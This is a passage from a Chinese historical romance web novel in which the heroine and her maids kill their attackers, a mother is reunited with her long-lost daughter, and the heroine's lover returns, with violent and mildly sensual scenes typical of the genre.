因秦离铮赠她同心扣的缘故,她便把先前不离身的琉璃香瓶取了下来,她太想念怜姐姐,便把瓶身妥善搁置在妆匣子里,留一串她赠给自己的角弦与珍珠戴在手上。 今日这角弦被裴骥斩断,那匕首只差一厘便能割开她的手腕。 她不由地在心里想究竟是不是怜姐姐在暗中庇佑自己。 眼见裴骥要对春棠痛下杀手,钱映仪汹涌的血液霎时穿透在她的骨缝里四处叫嚣——杀了他。 杀了他!杀了他! 因为一个男人,怜姐姐死在那个冰冷的夜里。她那时追悔莫及,痛不欲生,今番又出现一个男人要夺走她身边最亲近的人,她怎能容忍?怎能再容忍?! 钱映仪动作飞快爬向那些珠子,夹杂着灰尘一并拢在手里,旋即喊道:“裴骥——!” 裴骥动作一缓,下意识循声望去,不防眼睛里被抵进两颗硬邦邦的东西,他霎时尖声嘶喊,匕首“咣”地一声落地,整个人捂着眼睛痛呼出声。 还不待他喘口气,钱映仪趁他张嘴痛呼,复又将那些珠子往他嘴里塞,旋即捡起那根被斩断得只剩小臂长的角弦,身子猛然穿过他,反手把角弦往他脖颈上一勒。 她跌跌撞撞把他往庙里一根柱子处拖,再到他身后紧紧抵着柱子,而柱子后,是她奋力拉紧角弦的身影—— 她面上带着一股癫狂的决然,决然里又带着坚毅,嗓音从齿隙里泄出来,“在女人身上耍威风算什么本事?我要你死我要你死要你死!” 角弦勒得她的指尖也绽开鲜血,她却不知疼痛,过往的恨意与今番的怒意交织着,她只知一件事,她要穿过漫长岁月再替怜姐姐讨回一口恶气,她要护住春棠,绝无再重蹈覆辙的可能! 裴骥被勒得满面涨红,连眼眶里都仿佛要迸溅出鲜血,胡乱扑腾着四肢,止不住地“嗬嗬”出声,要向管家求救。 钱映仪奋力勒紧他,仿佛是恨勒得不够紧,复又把角弦尽数缠在一只手上,腾出一只手去取头上的簪子,牙齿咬紧那片花瓣,猛然拽出暗藏的机关,把这根细弦也勒去裴骥喉间。 两根弦,勒出鲜红狰狞的鲜血,勒出她无限的怒意。 管家回神忙不迭地要去抓钱映仪,不防脑后被猛地一砸,夏菱发狠的神情登时出现在他身后,手里正握着一盏破旧的油灯。 转而,管家倒地,迎面来的是春棠愤恨的眼,接着左眼倒映出她高扬在手上的砖石,右眼窥清夏菱迎头砸下的破油灯。 两人不知疲倦地砸向他的脸,一下,一下,砸得鲜血四溅,绽在彼此脸上像盛开的花,砸得管家面目全非,倒在地上一动不动。 不知过去多久,土地庙里只剩三个女孩子急促的呼吸声,钱映仪精疲力竭跌靠在柱子上,手中却死死握着那两根弦不放。 下一刻,她怔然松开手,裴骥的尸体便歪歪扭扭往一旁倒。她踉跄着起身,望向脸上溅满刺目鲜血的夏菱与春棠,“活下来了” “我们三个人”她灿然一笑,“我们都活下来了。”—— 作者有话说:三朵小花就是互相依偎的 映仪终于穿过漫长岁月,变相地替怜姐姐报了仇,也终于在多年后护住了身边人~ 第54章 钱映仪泄尽所有力气,踉跄扑向二人,紧紧搂着,重复呢喃着,“活下来了…活下来了…” 春棠细细呜咽着,起先只是压抑的啜泣,到后来,嘶哑的哭喊愈发激烈,伏在钱映仪的肩头止不住地嚎啕大哭。 哭喊使夏菱回过神,怔然垂望自己那双正打着颤的、血迹斑斑的手,再撩眼望着地上两具尸体,静坐片刻,也“哇”的一声痛哭出来。 钱映仪搂紧二人,阖着眼,此刻倒更显镇定,细细安慰道:“别哭,还活着呢,他们死不足惜,我们是女侠,不是杀人凶手,别哭,都别哭…” 庙外这时候传来急促马蹄声,旋即小玳瑁火急火燎冲进土地庙,先是四处搜检春棠的身影,望见她向来娇俏的容颜上溅满血珠时,手一抖,剑身“咣”地坠地,几乎是连滚带爬地把春棠提起,上上下下扫量春棠身上有没有伤口。 下一刻,腰身被春棠一把抱紧,他方顿住,这才听见她痛苦沉闷的声音在胸前响起,这才错愕望向庙里那两具尸体。 小玳瑁缓缓挪眼窥探两具尸体的伤痕,尤其管家那面目全非的脸,心里延绵出惊涛骇浪般的恐惧与后怕,他晓得,男子与女子力量悬殊,她们定然… 他闭了闭眼,半日哑着嗓子挤出一句,“是我该死。” 他不敢想究竟发生了什么,亦不敢细想,倘或躺在地上的是她们,他当如何。 钱映仪低喘了口气,竭尽全力指了指裴骥,旋即匍匐在地,低声道:“是他,他是春棠的哥哥,他要杀了春棠,要杀了我,他该死,即便现在死了,你也不要放过他…” 闻听“要杀春棠”四个字,小玳瑁心底的火噌噌直往外窜,猛然换了副脸色,仔仔细细把春棠安置好,复又搀起钱映仪与夏菱两个,皆安顿在土地神后方。 旋即挂着森然的神情,伏腰捡起方才跌落在地的剑,单手拖拽起裴骥的尸身往外走,“畜牲,我让你死无全尸。” 不知他在外头对着裴骥的尸身做了什么,再度踅回庙内时,手上浸染着鲜红的血液,他又拖拽着管家的尸体出去,转而没几时,庙外翻滚着浓黑的烟,勾带出一股浓重的异臭。 月明星稀,火光照映出小玳瑁仍显后怕与忿然的脸,噼啪绽响的火星子在他脑子里窜来窜去,他依旧不敢去细想,倘或春棠真死了,他方才见到的是她冷冰冰的尸体,他的余生又该如何活下去。 烟雾往半空窜,直至两具尸骨被烧得渣都不剩,小玳瑁方转背迈进土地庙,这一抬眼,便看见了春棠的脆弱。 她就静静屈腿坐在那里,两条胳膊紧紧裹着自己,环住半张脸,痛苦挣扎的眼睛愣神望着自己绣着绣球花的鞋面,瞳眸外罩着一层灰蒙蒙的雾。 他的心霎时被她的这片雾紧紧揪起来,使他小心翼翼走到她身前屈膝蹲下,伸手要用拇指擦去她脸上的血,却倏然发觉他的手上也沾着点儿血,他只好胡乱去擦。 擦来擦去总是擦不干净,动作顿一顿,他也跟着眼眶发红,重重一拳锤起地面的尘埃,一串泪落在地面,裹走了那些灰尘,凝成一个个灰扑扑的水珠。 他深深吸气,痛骂自己为何没有早些察觉出端倪,为何放任她一人往外头去,骂过了,复又拿尚且还干净的袍角替她细细擦拭。 坐了半日,钱映仪泄走的那些力气逐渐从她的伤口里往身体回溢,她仰起头,后脑靠在坚硬的供桌上,嗓音很轻,“去寻辆马车来吧,我们在这儿等你,我们三个都血糊糊的,不好光明正大骑马回城。” 小玳瑁蓦然回神,忙不迭地点头,再三望了春棠几眼,登时起身往外走。 半个时辰的功夫,寻来一辆平平无奇的马车,大约是就近往城外哪户人家里借的,几人颤颤巍巍爬进马车里,由小玳瑁驭着车,一径顶着清辉月色往城中赶。 临走时,钱映仪撩帘望了眼庙前的一棵银杏树,树下的土地黢黑一片,还有丝丝烟雾往上萦绕着,她凝视着那棵树,又回首望着黑漆漆的土地庙,只道是神佛庇佑,以恶身魂魄熏着,这棵树明年兴许会长得更茂盛些。 归家时,钱家人被几人血淋淋的模样骇了一跳,钱玉幸急得打转,拉着钱映仪的手心疼掉眼泪,忙冲 外头喊,“还不快请朗中来!” 钱映仪歪坐在椅上,嗓音里喧出一股疲惫,恐钱兰亭知晓自己杀了人而担心多想,便先把春棠的身世细细说了,继而道:“裴骥想借春棠的名义引我过去,春棠没肯,我们几个一路寻过去,他正想杀了春棠,一阵撕拉推攘,他同他身边的那个管家不慎掉落山崖,摔死了。” 钱兰亭紧抿着嘴,忍不住握拳往案上猛然一捶,骂道:“好个奸佞无耻的东西!” 又一阵后怕,掬着钱映仪的脸来回瞧,“幸得你没事,倘或你有个好歹,叫爷爷如何是好!” 许珺亦胆颤心惊绞着帕子,望着余下三人看了半晌,便道:“先都去洗一洗,别顶着一身脏污,洗过了再来这儿喝完热乎的汤,我这就使厨房去做。” 于是小玳瑁一面牵着春棠,一面同夏菱一道出了花厅。 请来的郎中很快进了钱宅,把钱映仪一双手上的伤口上了药,细细包扎好,嘱咐切勿碰水,旋即静等余下三人过来。 两柱香的功夫,等到三人进厅,把春棠与夏菱细细瞧过,只说没什么大碍,开了两帖安神的方子,才一径跟着家里的丫鬟出了钱宅。 静等着几人喝汤暖过身子,钱玉幸方开口问,“春棠的身世究竟是怎么回事?我听了半日没听明白,还有些蒙,你们哪个能同我讲讲?” 其实钱映仪也只是听裴骥亲口说春棠是其妹妹,这时候也心中好奇,遂望向春棠,大约是想及娘已不在人世,春棠复又掩面而泣,握着帕子拭了半晌泪珠,这才起身向钱兰亭端端正正福身行礼,知他不太懂手语,转而向钱映仪比划一阵。 钱映仪看完久久怔住,喃喃道:“天老爷,爷爷,春棠是淮安裴家的小女儿,是裴老爷后头迎娶的那位太太所生,同那裴骥是同父异母的兄妹,六岁时被家仆卖给拐子,一路吃尽苦头才遇上咱们,给她带回了家…” 钱兰亭是知晓春棠当年是何模样的,免不得跟着动容,老眼泛着湿润的光,“好好的一个孩子,吃尽了苦头啊…” 又见春棠说到娘一直在寻自己、却已然离世时忍不住哭出声,钱兰亭也有片刻惊诧,“这孩子能发出声音?” 钱映仪把下颌轻点,“我琢磨着,也许是从前那些往事太折磨,她便有意识地封闭了那段记忆,大约是裴骥找上她,逼迫她想起来了,这才使她能开口发出声音。” 钱兰亭眯着眼静想片刻,起身在厅内来回踱步,许珺窥他如此神情,心念一转,试探着问,“爹,您猜那裴骥是诓骗春棠的,是不是?春棠的娘根本没死,是不是?!” 话音甫落,钱映仪立时撑案而起,指尖传来钻心一痛,她低嘶一声,吃痛把眉轻攒,旋即望向钱兰亭,眼里泛着期期艾艾的光,等着他答话。 半晌,钱兰亭回身望向春棠,目光里牵出柔软,嗓音不由得也放软,与钱映仪道:“我是这么猜的,他定然是老早就盯上了春棠,晓得一般理由动摇不了她诓骗你出去,便把主意打到她娘身上,仔细一想,也是,有哪个孩子被迫离开家这么多年,得知娘的“死讯”后却不肯见娘的呢?” 他当即唤来管家,命道:“你使两个人,拿着我的帖子,明日一早动身前往淮安,寻一门姓裴的商户,那裴骥既跟着那些犯官一起贪墨,上头的处置还没下来,裴家定然也是被兵马司扣着的,只管报我的名号,打探他家太太是不是还活着,倘或活着,同兵马司的人套些近乎,把裴太太给弄到金陵来。” 管家忙不迭应声,旋即退了出去。 至此,钱映仪暂且松了口气,上前轻轻抱着春棠,知她这些年孤苦得要命,不禁又潸然泪下,一面轻抚她的背,一面反复呢喃,“你娘定还活着…你定能见到她…老天爷只会收了恶人去…不会对你这么残忍的…” 钱玉幸与许珺跟着拭一拭眼梢,钱玉幸忧心妹妹,便上前道:“好了,好了,知道春棠不是孤儿,这是件喜事,好好地,咱们都不许哭,要笑着等裴太太来咱们家见女儿,你还脏兮兮的,快同我回去洗漱,夜里我同你睡。” 小玳瑁目光紧紧盯着春棠,也把下颌轻点,上前牵起她的手,什么婚前不可相见的规矩,统统被推翻,他誓要春棠不再消失在自己的视线里。 折腾半夜,钱映仪跟着钱玉幸回了她的院子,洗去一身脏污,便歪在钱玉幸怀里,由姐姐搂着自己安心躺着,临睡前却反复想起春棠,不由得轻问,“姐姐,春棠的娘一定还活着,是不是?” 钱玉幸知她忧心忡忡,有意哄她高兴,便握着她的手晃一晃,语气轻松至极,“晓得裴太太还活着,你就早些睡,瞧,眼下都是黑黢黢的,怎么有精神日日盼着她来?” 见她紧攒的眉头稍松,旋即又道:“你的好阿铮这时候想必已经到京师了,紧赶慢赶,再过半月你便能见到他,难不成你想顶着变丑的脸与他相见?” 提及秦离铮,钱映仪觉得指骨上的伤口好似益发疼痛,闷头把脸埋进钱玉幸怀里,“晓得了,谁想见他了?一去便是这么久,我才不想见他。” 钱玉幸窃窃笑了笑,心道妹妹总算不再纠结于春棠一事,遂搂紧她,像幼时那般依偎着睡去。 深秋的金陵总是在夜里泛着潮冷,满城叶落,簌簌凛风吹起无边无际的落叶,这些落叶跟着风起的漩涡荡呀荡,荡过秦淮河,橙红一片,飘忽不定地散往五湖四海,渐渐地,连远在京师的枫树也跟着震一震,哗哗席卷一片落叶。 秦离铮押解金陵犯官回京师震彻朝野,一片哗然,皇上雷霆手腕,以蔺边鸿为首的一班官员皆处以极刑,自此天威再不容被挑衅,朝野里复又多了些惶惶不安的心肠。 妥善办完贪墨一事,皇上知瑞王一并被押解来了京师,曾亲临昭狱,仔仔细细听了梁途的证词,旋即兑现当初的承诺,把瑞王一家全权交由秦离铮处置。 背负在秦家身上多年的冤屈也得以洗刷干净,秦离然的名讳一时在京师疯传,甚有一些文人墨士愤从心起,当街放言,“奸佞之臣,污害赤子,一朝平反,老天开眼啊…” 世人便是如此,风光时,恨不能来巴结上,落魄时,便避如蛇蝎,待到事有反转,再无回转的余地,复又站出来宣扬那丁点儿道德。 这些都与秦离铮无关,他静静立在秦宅面前,深深吸气,终于能正大光明迈进宅子里,跨越漫长光阴,重新回家。 家里依旧是那样,曲径小道,穿过垂花门,便是两棵高高的冬青树,数不清多久远的记忆,只记得那时他爬在高高的树上晃腿,兄长跟在底下急声喊,“阿铮,铮小爷,快下来,仔细爹发现了打你!” 旋即是条长长的廊庑,再跨过大花园,穿过一扇月亮门,假山后是座四四方方的凉亭,那时,爹娘总爱在亭内对弈,爹穿着青灰的袍子,娘穿着绚丽的裙… 秦离铮默然往里走,漠视了那些见到自己惊诧不已的家仆,静静走到凉亭外,横跨数年光阴,把那记忆里的身影凝视着,依旧是青灰色的影,稍佝偻了点儿,依偎着另一抹柔和的身影,趴在凉亭里打盹。 他苦闷的嗓子暗自哽咽,片刻,轻唤,“爹,娘。” 那两抹身影像在发梦,被这声惊醒,怔然望着庭外的他。秦离铮又一连迭地唤了两声,“爹,娘。” 他不由得拔脚往前走,把脚重重踏进每一块砖石,如此才算真正回了家,“孩儿回来了。” 秦青山眼眉与他相似,愣愣望他半日,微张着嘴,“铮儿…” 林婉秋一时惊得不知该看他身体哪一处,仿佛仍在梦里,由那松动的砖石“咔哒”响一声惊醒了魂,明白他这句“回来了”是何意,才倏然低泣出声,猛然起身把他给抱住,“回来了…娘的铮儿终于回来了…” 秦青山把泪挥洒,忍不住上前,重重拍着他的肩,想说什么却不知从何说起,反反复复只剩一句, “回来了好…回来了好…” 秦离铮凝望着爹娘,瞳眸外悬着一抹湿意,滚了滚干涩的喉咙,旋即挤出一抹笑,“爹,娘,孩儿来带你们去见哥哥。” 于是三人跨过半个京师,出了城,到了翠微山山脚下的承恩寺外,当年因涉身谋逆,秦离然身死,秦家不敢替其风光大葬,只能将其埋在寺外,以求魂魄安宁。 今昔,秦离铮带着一双父母,冷眼垂晲着瑞王夫妇与有些疯癫的俞敏森接连在秦离然坟前磕头。 磕到头破血流,磕到奄奄一息。 大约老天爷也为秦离然叫屈,半空席卷凛然的风,吹动秦离铮的衣袍,使他一脚狠狠踩上俞成鹤的背,压着他的脸往坟前碾,冷然道:“还不够,继续磕。” 到最后,俞成鹤趴在地上只剩一口气,那双眼里总算有了点追悔莫及的痕迹,他甫一开口,手上的镣铐也跟着哗哗响两声,“秦…离然…是我对不住你…” 秦青山闭了闭眼,不忍再在此逗留,揽过林婉秋往马车里去。秦离铮漠然凝视着俞成鹤,反手一拔绣春刀,眼底蕴着一点冰,“我说过,我会亲手宰了你。” 旋即寒光闪了几下,几具身躯瘫软在坟前,秦离铮低垂着脑袋,反复擦拭刀刃,冷道:“把他们的尸身扔去山野里,由野兽啃噬殆尽吧。” 随行的锦衣卫忙应声。 一行踅回秦宅,林婉秋很是高兴,张罗着做了不少秦离铮爱吃的菜,晚饭时止不住地给他夹菜,半晌碗里便堆起一座山,秦离铮依次吃了,待得林婉秋使人去替他铺床时,他才搁下箸儿,缓声道:“娘,别急,我还要去金陵一趟。” 秦青山一怔,忙不迭地问,“怎的还要去金陵?皇上又交代你办什么事?” 秦离铮想及那抹日思夜想的身影,笑了笑,往怀里摸出那个泥人,摆在桌上给夫妇俩瞧,“不是皇上交代我办事,是我自己的事,我我的心上人还在金陵,便是钱锦年的次女,多的细节现下不好说,我答应过她,要去金陵接她回来。” 林婉秋讶然望着儿子,半日憋出一抹笑,忍不住打趣两句,“外头都说你手段狠辣,铁石心肠,原来也有绕指柔的时候,你与这钱小姐可是两情相悦?” 秦离铮还不大习惯与爹娘说起自己的情事,把稍薄的唇抿一抿,耳根渐红,“自然是两情相悦的。” “那就明日,明日一早动身往金陵去,”林婉秋道:“今夜就在家里睡。” 秦离铮却带着点急躁,把那泥人复又兜回怀里,忍不住拔座而起,“等不了,我现下就要走。” 夫妻两个稍有惊愕,不曾想他竟如此急切,只好牵出个体谅的笑,摆一摆手,秦青山道:“成,你去,你去,回头带来我们瞧一眼,那钱锦年早年与爹倒打过不少交道,他这小女儿,爹还真没见过。” 秦离铮把下颌重重点了两下,一个旋身就出了花厅,带着疯涨的思念一径冲出秦宅,一个翻身上马,自此,这匹快马便要踏碎数轮日月,狂热又张扬地往秦淮河踏去。 十一月的金陵颇有些寒月冷霜之景,夜空如水,几个女孩子都在大花园里闲走,霜月哗哗一片坠落肩头,映衬得几张俏脸宛若月宫姮娥。 钱映仪仰脸窥一窥辽阔天际,牵动着唇角笑一笑,呢喃道:“说起来,淮安府离金陵也不远,一来一回过去十日,该有信回来了。” 话音甫落,她余光悄瞥春棠,捕捉她脸上遮蔽下来的期盼。 夏菱把眉轻拧,跟着悬起一颗心,嗓音放得很低,“但愿菩萨保佑。” 她在心里暗自向菩萨祈祷,祈祷菩萨庇佑春棠,还给她一个完整的家,这股祈祷好似化作裙摆下的风,兜兜转转绕着几人打了个转,转去前厅,把管家兴兴喊着的嗓音无限放大,“来了!来了!回来了!” 跟在管家身后的身影跌跌撞撞,妇人穿着苍黄色的裙,堕马髻里杂糅霜白,下颌的弧线凄婉苍凉,黯淡的眼睛里带着点紧张,延绵至数条细纹里,使她浑身紧绷着,指尖牢牢陷进身旁仆妇的虎口里。 甫一转进前厅外的长廊,迎头便撞上许珺与钱玉幸,许珺瞥过妇人,惊诧极了,忙扭身与丫鬟道:“去,小姐同春棠、夏菱在园子里散心,快去把人叫来!” 妇人眸色颤动,能从行径上瞧出她亦曾端庄有礼,此刻却怔怔越过丫鬟,暗沉的眼越来越亮,算得上是横冲直撞地往宅子里头奔去。 一径跑到花园里,远远瞧见月下三抹背影,妇人的动作顿停,灼热的眼眶里是左右来回打转的思念,低低唤了声,“珍珠” 钱映仪似有所感,与夏菱两个一并回头,待看清妇人正往这头跑来,眼睛也逐渐睁圆。 妇人气吁吁跑近,漫长光阴使她颇显老态,急喘着气把钱映仪与夏菱来回望着,渐渐地,目光挪向那道始终没转过来的背影,连下颌都在止不住地打颤。 想及钱家管家在路上与自己提及的一切,抖着手去轻掣春棠,一点点地,揽着她,转过来。 待看清那张一见便能认出的脸,妇人终于忍不住,痛苦万分地紧紧揽着春棠,她的背脊也因此佝偻下去,像座矮小却又顽强的山,“珍珠是娘的珍珠是娘的珍珠啊!” 春棠起先有片刻的茫然,可这个拥抱带着霜寒,自己却汲取到了温暖,是娘吗?春棠四面张望一眼,小姐,太太,都牵着帕子拭泪,又垂眼凝视着近在咫尺的人,她挽着松松的髻,即便在月色下,也能窥清她发丝里的银白。 春棠张了张唇,干涩的嗓音里带着多年未曾开口说话的古怪腔调,“娘” 妇人打了颤,抬脸起来,指尖哆嗦抚上春棠的面庞,旋即眼里泄出泉水般狂涌的泪,又猛然一把抱紧春棠,“是娘!是娘!珍珠,是娘!” 跟过来的仆妇也潸然泪下,双手合十往地上一跪,“老天爷垂怜,过去十几年,总算让太太寻到小姐了。” 跨越漫长光阴,小小的女儿眨眼长得比自己还要高,相见时的悲伤与喜悦芜杂在心头。想到女儿受过的苦,裴太太想再说些什么又挑拣不出合适的话,到最后,只能反反复复抱一会她,再抬脸瞧一会她。 使春棠飘零半生的魂魄辗转落地,落进她温暖柔韧的怀抱里,一如幼时那般。 许珺鼻头发酸,挥着帕子挤出笑,“哎呀,大喜事,这真是大喜事,园子里头冷得很哩,有再多的话要说,咱们都先往屋子里去,啊。” 裴太太连连点头,握着春棠的手不肯撒开,端端正正给钱家众人行了礼,“方才是我失礼,冒冒失失往宅子里头闯,还请勿怪。” 许珺笑说不要紧,于是一行人旋即往花厅去。 待裴太太坐下,钱兰亭也闻听风声敢来,裴太太晓得是走的南直隶工部侍郎的关系,她方能从牢里出来,心内感激不尽,连番又向钱家众人言谢。 继而便是一直把春棠望着,一来二去,复又惹得众人捻帕拭泪。 钱映仪亦是心中酸涩,有心留母女二人独处,便随意扯了个话岔,只道是先回云滕阁有事。其他人自然也是如此,静悄悄地出去,轻轻阖上了花厅的门,掩盖住那一对相拥而泣的身影。 待离开花厅,钱映仪心口堵得酸胀难言,使夏菱先回了云滕阁,旋即自己提着盏黄纱灯笼,一步步穿廊过,半日功夫,就走到了她常去的那座偏僻凉亭。 凛风急旋,栏外除了簌簌风声,只有片片落叶坠地的“啪嗒”声。凋残的花被吹得摇曳,在月下透着几分凄然。 钱映仪眼里浮动着一丝惆惘,大约是景色牵着人的心思走,她独坐在石杌上,摊开双手看一看指骨上已经结痂的伤口。 分明不疼,却隐隐从指骨缝里泛出点酸胀,好似痂痕下那属于她的崭新血肉正在喧闹嘶喊,喊出她心底浩瀚的思念。 日复一日,春棠的娘已辗转由淮安来到家里,再过不久,又是春棠出嫁的喜日,所有的事都在 迈向圆满,唯独剩钱映仪轻轻抬脸,挪眼望向亭外被风吹得打晃的枯枝,忍不住低声呢喃,“阿铮,京师也刮这样大的风吗” 偏巧此刻,她的呢喃被人接住。 “钱映仪。” 她身影一怔,单薄的背一动不动,唯独剩脑后一根发带随风晃荡。风声簌簌,她缓缓回身望去,青年立在她背后的长廊,风尘仆仆,身影夹杂着一点不真实的飘渺。 “你回来了”寒意渐重,钱映仪喷出的气息却益发炙热,她眨眨眼,这一回拔座而起,牢牢盯着他,“我在做梦吗?” 秦离铮笑,朝她展开双臂,“是不是梦,你过来抱一抱就知道了。” 话音甫落,钱映仪霎时迎风往前奔,带着点呜咽跳进秦离铮的怀里,“你怎么才来!你怎么才来!” 秦离铮紧揽着她的腿弯,未想她哭得如此狠,忙歪着脸去亲她滚落的泪珠,嗓音含笑,“别哭,别哭,我紧赶慢赶,十日便赶到了金陵,还不够快啊?” 钱映仪闷脸在他肩头啜泣半日,重新感受他炙热的怀抱与那抹熟悉的薄荷香,她复又牵出一抹笑,横手把眼泪一擦,捧着他的脸,“我好想你。” 秦离铮也正要诉说思念,不防猛然腾出一只手把她的手挪向眼前,待看清她指骨间的伤痕时,神情霎时一变,“你的手怎么回事?” 钱映仪抱着他不撒手,细细的嗓音里杂糅着浓重的鼻音,小声道:“我把裴骥杀了。” “什么?”秦离铮愕然把她放下,拢着她的肩头,严肃把她上下环视一圈,带着点错愕问,“到底发生了什么?” “你抱着我!抱着!”钱映仪撇撇唇,挂在他胳膊上晃一晃,拉他往石杌上坐,自己落向他的膝头。 旋即带着点神秘兮兮的语调,俯身在他耳畔说清了整个始末。 听及裴骥竟是春棠同父异母的兄长,秦离铮惊了一瞬,复又听到裴骥扬起匕首时,眼眉里的煞气登时往外泄,令钱映仪觑着他,不由地怀疑,倘或那裴骥还有个全尸,只怕他现下便要去挖坟鞭尸。 她嘻嘻笑了两声,拿脸去蹭他,“哎呀,我多厉害啊,是不是?别想了,他都死了,再也妨碍不了什么,我还是拿你送我的簪子勒的他呢!” 谁知她愈是说得轻松,秦离铮心口愈是酸疼,他垂眼凝视着被握在掌心里的那两只细嫩的手,光是想一想当时的场景,他都怒从心起,紧绷着牙关,连下颌也牵出一条笔直凌厉的线条。 又想她竟能凭一己之力杀了裴骥,秦离铮沉寂半晌才从嗓音里喧出一股夹杂着一点后怕的叹服,“你真厉害。” 钱映仪轻轻笑着,便连结痂的伤口也再感觉不到一丝疼痛,高扬的下颌里带着骄傲,“我是谁?当时是有些怕呢,过了那两日再想起来,简直是大快人心!” “不说这个,我好想你,”钱映仪贴近他,眼里浮动着闪闪烁烁的光,语调是这半月来从未有过的轻松,“秦指挥使,你想不想我呀?” 秦离铮双臂搂紧她,“想,怎么不想。”旋即带着日思夜想的爱恋,急迫地俯身去寻她的唇,微凉的吻霎时被点燃,带着对彼此疯涨的思念。 半晌,钱映仪喘不过气,一把推开他,被他攫紧手腕,盯着两个手心里的痂痕看了片刻,复又问,“还疼不疼?” 钱映仪微嘟的唇扬得高高的,脸贴近他的胸膛,轻声道:“怪事,才刚还隐隐觉得疼呢,你一出现,它就不疼了。” 她挑一挑他的下颌,指腹碾磨着那一圈冒出尖的青茬,“你是我的良药,是不是?” 秦离铮不由地再次感叹又重新领教了一个崭新的她,捉着她的手腕,往那些痂痕上轻轻吻着,“那就请快些好起来。” 两人黏糊半日,钱映仪倏然一个猛子自秦离铮怀里起身,把秦离铮看得发蒙,“嗯?” 钱映仪望他片刻,问,“你十日就赶到金陵了,是不是没洗澡!” 秦离铮稍有怔愣,蓦然笑出声,故意把她往身前一揽,使她的脸死死贴在身上,“那你闻闻,我臭不臭?” 钱映仪细细一嗅,狐疑觑他。秦离铮洋洋垂着脸,呼吸喷在她的脸上,“这才过去多久,你都给忘了?我爱不爱干净,你还不知道?” “虽要赶路,澡还是要洗的,小姐不是也爱洁净?不把自己仔仔细细收拾一遍,我可不敢来见小姐。” 钱映仪这才嘻嘻一笑,拉他起身往外赶,嘴里絮絮叨叨念着,“你吃过晚饭不曾?我晚上也没吃什么呢,咱们一起去吃点!” 紧接着,阖家上下皆知秦离铮去而复返,钱玉幸挽着许珺的臂弯倚在墙根底下笑,“看把她给乐的。” 钱兰亭闻听孙女的笑音,虽鄙夷后生小辈拐走了孙女,却也跟着笑了两声。 一径往厨房去,两人对坐用罢晚膳,钱映仪复又想起一件事,鬼鬼祟祟往四面睃巡一眼,见没人盯着自己,遂俯身往他跟前靠,细细的嗓音飘进秦离铮的耳朵里,“你那宅子退了,大家都晓得你同我的关系,你又不是原先那个侍卫了,你接下来住哪里?” 秦离铮把眉轻挑,精准捕捉到她眼里一点暗自流转的隐喻,笑了笑,问,“你觉得呢?” 钱映仪咬着箸儿,像咬紧了他的喉管,见那喉结上下动一动,稍稍顿了片刻,悄然又靠近他一些,半蒙半懂道:“住家里不方便,住外头的宅子,时日尙短,也没那必要,要不住客栈?” 她的眼色在秦离铮的瞳眸映照下来回地转,像春日里的莺雀,因此转来转去,转到了秦淮河岸的客栈里。 两片唇齿在门阖紧的一刹那就黏在一起,唇与舌都在湿漉漉诉说思念,钱映仪一面退,一面就跌坐在桌上。 秦离铮把她奋力往怀里拽,挪开唇亲她的耳珠,说出来的话却十分正经,“屋子里烧着炭,热吗?” 钱映仪轻笑着去躲,“有点。” 于是整个身子霎时悬空,她被他兜抱起来,一路剥离细细的带子,过后便是淅淅沥沥一阵水响。 浴桶里飘荡着热气的水“噌”地往外冒,秦离铮单手高举她一双手腕越过头顶,俯身往她脸上亲,“那就降降火。” 屋子里只点了一盏银釭,一火如豆,点点星火烧得床幔纱帐里滚烫不已,钱映仪低喘着气,指甲不由自主地陷进被衾里。 她像片飘泊不定的花瓣,在金陵短暂地浮沉一段时间,旋即被重重拉下,像有一场温柔里带着急迫的雨落在她身上,使她原本就未枯竭的躯体泛出淋漓。 泼天的快乐令她一时难以消受,发蒙时,吻自下蔓延往上,最后那两片湿漉漉的唇钻出被衾,落在她的脸上,“还热吗?” 钱映仪轻皱着眉,拢一拢双腿,把脸偏向一边,“你别窜来窜去,冷” “冷?”秦离铮懒洋洋支着双臂望向她,黑漆漆的眼底蕴着隐忍克制的慾,继而一手捞起她的腿弯,轻柔舒缓地替她按着,“马上就不冷了。” 他跨越千里奔向她,带着饱胀的思念,一刻也不敢耽搁地往金陵赶,满脑子只想着一件事——娶她回家。 因此临门一脚时,他便稍稍顿了下,转而带着碾磨亲她。 倘或她是片浮沉的花瓣,栖息在这床绣着葡萄纹的被衾里,挂着湿漉漉的淋漓水珠,他便是一把褪去锋利的刀。 压下逼迫的锋刃,带着温柔与轻缓,一点点地碾走水珠,不带着丁点儿刺痛地磨出一些崭新的快乐。 钱映仪失神看着他一下下吻向自己的脸,不由地掐紧他的胳膊,指甲深深陷进去,就是这么个瞬间,她恍惚间想起,那日他走时,她想什么来着——她想,他迟早会长回她的身上—— 作者有话说:春棠和娘相聚啦~ 小情侣也相聚啦~ 第55章 天色大晴,半束光透过窗柩映在散落在地的衣裙上,连裙摆上绣的簇簇花团都绽着生机,红的黄的统统亮得灼人。 秦离铮一惯醒得比钱映仪早,穿着墨黑的葡萄纹圆领袍,箭袖挽起,蹲在榻边,伸手进被衾里捞她,“醒了就起身,还躲我?” “哎呀你走开你走开,”钱映仪化作个鹌鹑缩在被衾里,片刻裹着脑袋露出一双稍有些肿的眼睛,忿忿把他一瞪,“你精神倒好!” 天老爷,憋了那么久,他当真不知节制,她也当真到后半夜已经连知觉都越来越淡,只剩一波一波没那么汹涌的浪席卷,临睡前她甚至还在哭! 这样哭一阵,他反倒又不哄着说“别哭”了,好似她的眼泪能烧烫他的血液,使他一再地振奋起来 真到新婚,她还有可能下榻吗? 秦离铮一把攫紧她光洁的胳膊,顺势裹起她,重重往她额心一亲,见她躲,复又蛮横拉过来亲了两下,“不许躲我,你再躲,我也不起了,现在就脱袍子” 话音甫落,他果真腾出一只手去解皮革腰带,骇得钱映仪忙抱着他的胳膊,固执把他的指骨掰开,牵出一抹讪笑,“我哪有躲你?我没有在躲!” 旋即可怜兮兮仰脸望他一眼,亮晶晶的瞳眸泛着点光,“我再睡一会,昨日那身衣裳我不想再穿了,你悄么地回家替我搜捡一套来。” “回家”二字钻进了秦离铮心坎里,好像他早已是她的夫君,可即便听了十分受用,也学着她的固执摇一摇头,“不成,我不把你单独留在这。” “晓得你爱干净,本来我是想替你去买身新的,外头的衣裳没洗过,我想你也不大愿意穿,先忍一忍,回家立刻换了它,嗯?” 他又去拉她,一连迭哄着,“后日什么日子,你不记得了?春棠嫁人前两日,你不打算陪着?” 果真,一提及春棠要嫁人,钱映仪忙不迭就裹着被衾坐起身,只是一双眼慵着要阖上,免不得又磨一磨唇肉,低声怨他,“都怪你,下回你再这样,我我就我就不许你再上榻!” 